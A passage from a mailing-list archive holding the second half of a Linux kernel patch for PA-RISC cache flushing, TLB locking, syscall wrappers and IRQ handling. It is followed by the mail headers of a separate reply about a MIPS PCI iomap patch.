+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	pdtlb_kernel(vfrom);
+	purge_tlb_end(flags);
+	copy_user_page_asm(vto, vfrom, vaddr);
+	flush_dcache_page_asm(__pa(vto), vaddr);
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER1); */
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+#endif /* CONFIG_PARISC_TMPALIAS */
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 6f05944..3caa199 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -483,7 +483,7 @@
 	 * B <-> _PAGE_DMB (memory break)
 	 *
 	 * Then incredible subtlety: The access rights are
-	 * _PAGE_GATEWAY _PAGE_EXEC _PAGE_READ
+	 * _PAGE_GATEWAY, _PAGE_EXEC and _PAGE_WRITE
 	 * See 3-14 of the parisc 2.0 manual
 	 *
 	 * Finally, _PAGE_READ goes in the top bit of PL1 (so we
@@ -493,7 +493,7 @@
 
 	/* PAGE_USER indicates the page can be read with user privileges,
 	 * so deposit X1|11 to PL1|PL2 (remember the upper bit of PL1
-	 * contains _PAGE_READ */
+	 * contains _PAGE_READ) */
 	extrd,u,*=      \pte,_PAGE_USER_BIT+32,1,%r0
 	depdi		7,11,3,\prot
 	/* If we're a gateway page, drop PL2 back to zero for promotion
@@ -1777,9 +1777,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1809,7 +1809,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1828,8 +1828,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1852,7 +1853,7 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..8094d3e 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -379,14 +379,14 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 static struct irqaction timer_action = {
 	.handler = timer_interrupt,
 	.name = "timer",
-	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
+	.flags = IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
 };
 
 #ifdef CONFIG_SMP
 static struct irqaction ipi_action = {
 	.handler = ipi_interrupt,
 	.name = "IPI",
-	.flags = IRQF_DISABLED | IRQF_PERCPU,
+	.flags = IRQF_PERCPU,
 };
 #endif
 
@@ -410,11 +410,13 @@ void __init init_IRQ(void)
 {
 	local_irq_disable();	/* PARANOID - should already be disabled */
 	mtctl(~0UL, 23);	/* EIRR : clear all pending external intr */
-	claim_cpu_irqs();
 #ifdef CONFIG_SMP
-	if (!cpu_eiem)
+	if (!cpu_eiem) {
+		claim_cpu_irqs();
 		cpu_eiem = EIEM_MASK(IPI_IRQ) | EIEM_MASK(TIMER_IRQ);
+	}
 #else
+	claim_cpu_irqs();
 	cpu_eiem = EIEM_MASK(TIMER_IRQ);
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 93ff3d9..fb38149 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -199,7 +199,6 @@ ENTRY(flush_instruction_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
 	load32		cache_info, %r1
 
 	/* Flush Instruction Cache */
@@ -208,20 +207,46 @@ ENTRY(flush_instruction_cache_local)
 	LDREG		ICACHE_STRIDE(%r1), %arg1
 	LDREG		ICACHE_COUNT(%r1), %arg2
 	LDREG		ICACHE_LOOP(%r1), %arg3
-	rsm             PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fioneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fisync	/* If loop < 0, do sync */
 
 fimanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fimanyloop	/* Adjusted inner loop decr */
-	fice            %r0(%sr1, %arg0)
-	fice,m		%arg1(%sr1, %arg0)	/* Last fice and addr adjust */
+	fice            %r0(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)	/* Last fice and addr adjust */
 	movb,tr		%arg3, %r31, fimanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fisync	/* Outer loop decr */
 
 fioneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fioneloop	/* Outer loop count decr */
-	fice,m		%arg1(%sr1, %arg0)	/* Fice for one loop */
+	/* Some implementations may flush with a single fice instruction */
+	cmpib,COND(>>=),n	15, %arg2, fioneloop2
+
+fioneloop1:
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	addib,COND(>)	-16, %arg2, fioneloop1
+	fice,m		%arg1(%sr2, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fisync	/* Predict branch taken */
+
+fioneloop2:
+	addib,COND(>)	-1, %arg2, fioneloop2	/* Outer loop count decr */
+	fice,m		%arg1(%sr2, %arg0)	/* Fice for one loop */
 
 fisync:
 	sync
@@ -240,8 +265,7 @@ ENTRY(flush_data_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
-	load32 		cache_info, %r1
+	load32		cache_info, %r1
 
 	/* Flush Data Cache */
 
@@ -249,20 +273,46 @@ ENTRY(flush_data_cache_local)
 	LDREG		DCACHE_STRIDE(%r1), %arg1
 	LDREG		DCACHE_COUNT(%r1), %arg2
 	LDREG		DCACHE_LOOP(%r1), %arg3
-	rsm		PSW_SM_I, %r22
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fdoneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fdsync	/* If loop < 0, do sync */
 
 fdmanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fdmanyloop	/* Adjusted inner loop decr */
-	fdce		%r0(%sr1, %arg0)
-	fdce,m		%arg1(%sr1, %arg0)	/* Last fdce and addr adjust */
+	fdce		%r0(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)	/* Last fdce and addr adjust */
 	movb,tr		%arg3, %r31, fdmanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fdsync	/* Outer loop decr */
 
 fdoneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fdoneloop	/* Outer loop count decr */
-	fdce,m		%arg1(%sr1, %arg0)	/* Fdce for one loop */
+	/* Some implementations may flush with a single fdce instruction */
+	cmpib,COND(>>=),n	15, %arg2, fdoneloop2
+
+fdoneloop1:
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	addib,COND(>)	-16, %arg2, fdoneloop1
+	fdce,m		%arg1(%sr2, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fdsync	/* Predict branch taken */
+
+fdoneloop2:
+	addib,COND(>)	-1, %arg2, fdoneloop2	/* Outer loop count decr */
+	fdce,m		%arg1(%sr2, %arg0)	/* Fdce for one loop */
 
 fdsync:
 	syncdma
@@ -277,7 +327,34 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+/* Macros to serialize TLB purge operations on SMP.  */
+
+	.macro	tlb_lock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock,%r1
+	ldo		R%pa_tlb_lock(%r1),\la
+	rsm		PSW_SM_I,\flags
+1:	LDCW		0(\la),\tmp
+	cmpib,<>,n	0,\tmp,3f
+2:	ldw		0(\la),\tmp
+	cmpb,<>		%r0,\tmp,1b
+	nop
+	b,n		2b
+3:
+#endif
+	.endm
+
+	.macro	tlb_unlock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldi		1,\tmp
+	stw		\tmp,0(\la)
+	mtsm		\flags
+#endif
+	.endm
+
+/* Copy page using kernel mapping.  */
+
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -291,12 +368,14 @@ ENTRY(copy_user_page_asm)
 	ldd		0(%r25), %r19
 	ldi		(PAGE_SIZE / 128), %r1
 
-	ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
-	ldw		128(%r25), %r0		/* prefetch 2 */
+	/* ??? JDA: Disabled prefetch because the last two prefetches
+	   will pull lines from the next page.  */
+	// ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
+	// ldw		128(%r25), %r0		/* prefetch 2 */
 
 1:	ldd		8(%r25), %r20
-	ldw		192(%r25), %r0		/* prefetch 3 */
-	ldw		256(%r25), %r0		/* prefetch 4 */
+	// ldw		192(%r25), %r0		/* prefetch 3 */
+	// ldw		256(%r25), %r0		/* prefetch 4 */
 
 	ldd		16(%r25), %r21
 	ldd		24(%r25), %r22
@@ -399,7 +478,7 @@ ENTRY(copy_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,8 +501,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
-
 	/*
 	 * We can't do this since copy_user_page is used to bring in
 	 * file data that might have instructions. Since the data would
@@ -435,6 +512,7 @@ ENDPROC(copy_user_page_asm)
 	 * use it if more information is passed into copy_user_page().
 	 * Have to do some measurements to see if it is worthwhile to
 	 * lobby for such a change.
+	 *
 	 */
 
 ENTRY(copy_user_page_asm)
@@ -442,16 +520,21 @@ ENTRY(copy_user_page_asm)
 	.callinfo NO_CALLS
 	.entry
 
+	/* Convert virtual `to' and `from' addresses to physical addresses.
+	   Move `from' physical address to non shadowed register.  */
 	ldil		L%(__PAGE_OFFSET), %r1
 	sub		%r26, %r1, %r26
-	sub		%r25, %r1, %r23		/* move physical addr into non shadowed reg */
+	sub		%r25, %r1, %r23
 
 	ldil		L%(TMPALIAS_MAP_START), %r28
 	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
-	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+#endif
+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
+	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
@@ -466,10 +549,76 @@ ENTRY(copy_user_page_asm)
 
 	/* Purge any old translations */
 
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
+	tlb_unlock	%r20,%r21,%r22
+
+#ifdef CONFIG_64BIT
+	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
+	 * Unroll the loop by hand and arrange insn appropriately.
+	 * GCC probably can do this just as well.
+	 */
+
+	ldd		0(%r29), %r19
+	ldi		(PAGE_SIZE / 128), %r1
+
+	/* ldw		64(%r29), %r0		/* prefetch 1 cacheline ahead */
+	/* ldw		128(%r29), %r0		/* prefetch 2 */
+
+1:	ldd		8(%r29), %r20
+	/* ldw		192(%r29), %r0		/* prefetch 3 */
+	/* ldw		256(%r29), %r0		/* prefetch 4 */
+
+	ldd		16(%r29), %r21
+	ldd		24(%r29), %r22
+	std		%r19, 0(%r28)
+	std		%r20, 8(%r28)
+
+	ldd		32(%r29), %r19
+	ldd		40(%r29), %r20
+	std		%r21, 16(%r28)
+	std		%r22, 24(%r28)
+
+	ldd		48(%r29), %r21
+	ldd		56(%r29), %r22
+	std		%r19, 32(%r28)
+	std		%r20, 40(%r28)
+
+	ldd		64(%r29), %r19
+	ldd		72(%r29), %r20
+	std		%r21, 48(%r28)
+	std		%r22, 56(%r28)
+
+	ldd		80(%r29), %r21
+	ldd		88(%r29), %r22
+	std		%r19, 64(%r28)
+	std		%r20, 72(%r28)
+
+	ldd		 96(%r29), %r19
+	ldd		104(%r29), %r20
+	std		%r21, 80(%r28)
+	std		%r22, 88(%r28)
+
+	ldd		112(%r29), %r21
+	ldd		120(%r29), %r22
+	std		%r19, 96(%r28)
+	std		%r20, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r21, 112(%r28)
+	std		%r22, 120(%r28)
+	ldo		128(%r28), %r28
 
-	ldi		64, %r1
+	/* conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 * The ldd should only get executed if the branch is taken.
+	 */
+	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
+	ldd		0(%r29), %r19		/* start next loads */
+
+#else
+	ldi		(PAGE_SIZE / 64), %r1
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
@@ -480,9 +629,7 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
+1:	ldw		0(%r29), %r19
 	ldw		4(%r29), %r20
 	ldw		8(%r29), %r21
 	ldw		12(%r29), %r22
@@ -515,8 +662,10 @@ ENTRY(copy_user_page_asm)
 	stw		%r21, 56(%r28)
 	stw		%r22, 60(%r28)
 	ldo		64(%r28), %r28
+
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
+#endif
 
 	bv		%r0(%r2)
 	nop
@@ -524,9 +673,8 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -550,7 +698,9 @@ ENTRY(__clear_user_page_asm)
 
 	/* Purge any old translation */
 
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
 
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
@@ -580,8 +730,7 @@ ENTRY(__clear_user_page_asm)
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
-	stw		%r0, 0(%r28)
+1:	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
 	stw		%r0, 12(%r28)
@@ -606,7 +755,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_dcache_page_asm)
 	.proc
@@ -630,7 +779,9 @@ ENTRY(flush_dcache_page_asm)
 
 	/* Purge any old translation */
 
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
 
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), %r1
@@ -663,8 +814,11 @@ ENTRY(flush_dcache_page_asm)
 	fdc,m		%r1(%r28)
 
 	sync
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r25)
+	tlb_unlock	%r20,%r21,%r22
 	bv		%r0(%r2)
-	pdtlb		(%r25)
+	nop
 	.exit
 
 	.procend
@@ -692,7 +846,9 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
+	tlb_lock	%r20,%r21,%r22
 	pitlb		(%sr0,%r28)
+	tlb_unlock	%r20,%r21,%r22
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -725,8 +881,11 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r1(%r28)
 
 	sync
-	bv		%r0(%r2)
+	tlb_lock	%r20,%r21,%r22
 	pitlb		(%sr0,%r25)
+	tlb_unlock	%r20,%r21,%r22
+	bv		%r0(%r2)
+	nop
 	.exit
 
 	.procend
@@ -775,7 +934,7 @@ ENTRY(flush_kernel_dcache_page_asm)
 	.procend
 ENDPROC(flush_kernel_dcache_page_asm)
 
-ENTRY(purge_kernel_dcache_page)
+ENTRY(purge_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -815,7 +974,7 @@ ENTRY(purge_kernel_dcache_page)
 	.exit
 
 	.procend
-ENDPROC(purge_kernel_dcache_page)
+ENDPROC(purge_kernel_dcache_page_asm)
 
 ENTRY(flush_user_dcache_range_asm)
 	.proc
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index a7bb757..546c51d 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -159,4 +159,4 @@ EXPORT_SYMBOL(_mcount);
 #endif
 
 /* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 12c1ed3..5dd1059 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -314,7 +314,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #if DEBUG_SIG
 	/* Assert that we're flushing in the correct space... */
 	{
-		int sid;
+		unsigned long sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
 		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
 		       sid, frame->tramp);
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..f0cb56e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 45b7389..53a1c69 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -76,7 +76,7 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cycles_elapsed = now - next_tick;
 
-	if ((cycles_elapsed >> 6) < cpt) {
+	if ((cycles_elapsed >> 7) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
diff --git a/arch/parisc/math-emu/cnv_float.h b/arch/parisc/math-emu/cnv_float.h
index 9071e09..37299c7 100644
--- a/arch/parisc/math-emu/cnv_float.h
+++ b/arch/parisc/math-emu/cnv_float.h
@@ -347,16 +347,15 @@
     Sgl_isinexact_to_fix(sgl_value,exponent)
 
 #define Duint_from_sgl_mantissa(sgl_value,exponent,dresultA,dresultB)	\
-  {Sall(sgl_value) <<= SGL_EXP_LENGTH;  /*  left-justify  */		\
+  {unsigned int val = Sall(sgl_value) << SGL_EXP_LENGTH;		\
     if (exponent <= 31) {						\
     	Dintp1(dresultA) = 0;						\
-    	Dintp2(dresultB) = (unsigned)Sall(sgl_value) >> (31 - exponent); \
+    	Dintp2(dresultB) = val >> (31 - exponent);			\
     }									\
     else {								\
-    	Dintp1(dresultA) = Sall(sgl_value) >> (63 - exponent);		\
-    	Dintp2(dresultB) = Sall(sgl_value) << (exponent - 31);		\
+    	Dintp1(dresultA) = val >> (63 - exponent);			\
+    	Dintp2(dresultB) = exponent <= 62 ? val << (exponent - 31) : 0;	\
     }									\
-    Sall(sgl_value) >>= SGL_EXP_LENGTH;  /* return to original */	\
   }
 
 #define Duint_setzero(dresultA,dresultB) 	\
diff --git a/kernel/irq/chip.c b/kernel/irq/chip.c
index f7c543a..d69738a 100644
--- a/kernel/irq/chip.c
+++ b/kernel/irq/chip.c
@@ -549,6 +549,7 @@ out_eoi:
 void
 handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 {
+	struct irqaction *action;
 	struct irq_chip *chip = irq_desc_get_chip(desc);
 
 	kstat_incr_irqs_this_cpu(irq, desc);
@@ -556,7 +557,9 @@ handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 	if (chip->irq_ack)
 		chip->irq_ack(&desc->irq_data);
 
-	handle_irq_event_percpu(desc, desc->action);
+	action = desc->action;
+	if (action)
+		handle_irq_event_percpu(desc, action);
 
 	if (chip->irq_eoi)
 		chip->irq_eoi(&desc->irq_data);

--Apple-Mail-56--473490567--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.openrisc,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH-RFC 06/10] mips: switch to GENERIC_PCI_IOMAP
Date: Mon, 30 Jan 2012 00:45:07 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20120129223339.GA22666@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
	<66457f7750d7d14229fcf8d0b011aba63185a75d.1322163031.git.mst@redhat.com>
	<CAJiQ=7BPzhWWzU3_nDv3j=ZB4f=iOzeyLyd2L0_3UFaMiLujpw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: dough.gmane.org 1327877073 15544 80.91.229.3 (29 Jan 2012 22:44:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 29 Jan 2012 22:44:33 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
	linux-m68k@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-sh@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linux@openrisc.net, linux-pci@vger.kernel.org,
	Jesse Barnes <jbarnes@virtuousgeek.org>,
	Kumar Gala <galak@kernel.crashing.org>,
	Chen Liqin <liqin.chen@sunplusct.com>, Paul Mackerras <paulus@samba.org>,
	"H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
	Guan Xuetao <gxt@mprc.pku.edu.cn>, Lennox Wu <lennox.wu@gmail.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Russell King <linux@arm.linux.org.uk>,
	linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
	x86@kernel.org, "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
	linux-arch@vger.kernel.org, Arend van Spriel <arend@broadcom.com>,
To: Kevin Cernekee <cernekee@gmail.com>
Original-X-From: linux-bounces@lists.openrisc.net Sun Jan 29 23:44:20 2012
Return-path: <linux-bounces@lists.openrisc.net>
Envelope-to: glpo-linux@m.gmane.org
Original-Received: from [193.12.106.56] (helo=openrisc.net)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-bounces@lists.openrisc.net>)
	id 1RrdTv-0003Ui-4i
	for glpo-linux@m.gmane.org; Sun, 29 Jan 2012 23:44:19 +0100
Original-Received: from openrisc.net (localhost [127.0.0.1])
	by openrisc.net (Postfix) with ESMTP id 08B2B160297;
	Sun, 29 Jan 2012 23:44:19 +0100 (CET)
X-Original-To: linux@openrisc.net
Delivered-To: linux@openrisc.net
Original-Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28])
	by openrisc.net (Postfix) with ESMTP id 2F11416025D
	for <linux@openrisc.net>; Sun, 29 Jan 2012 23:44:17 +0100 (CET)
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com
	(int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q0TMh6QU030435
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sun, 29 Jan 2012 17:43:07 -0500
Original-Received: from redhat.com (vpn-203-124.tlv.redhat.com [10.35.203.124])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP
	id q0TMgcAV018377; Sun, 29 Jan 2012 17:42:39 -0500
Content-Disposition: inline
In-Reply-To: <CAJiQ=7BPzhWWzU3_nDv3j=ZB4f=iOzeyLyd2L0_3UFaMiLujpw@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
X-BeenThere: linux@lists.openrisc.net
X-Mailman-Version: 2.1.13
Precedence: list
List-Id: OpenRISC Linux <linux.lists.openrisc.net>
List-Unsubscribe: <http://lists.openrisc.net/options/linux>,
	<mailto:linux-request@lists.openrisc.net?subject=unsubscribe>
List-Archive: <http://lists.openrisc.net/pipermail/linux>
List-Post: <mailto:linux@lists.openrisc.net>
List-Help: <mailto:linux-request@lists.openrisc.net?subject=help>
List-Subscribe: <http://lists.openrisc.net/listinfo/linux>,
	<mailto:linux-request@lists.openrisc.net?subject=subscribe>
Original-Sender: linux-bounces@lists.openrisc.net
Errors-To: linux-bounces@lists.openrisc.net
X-Broken-Reverse-DNS: no host name found for IP address 193.12.106.56
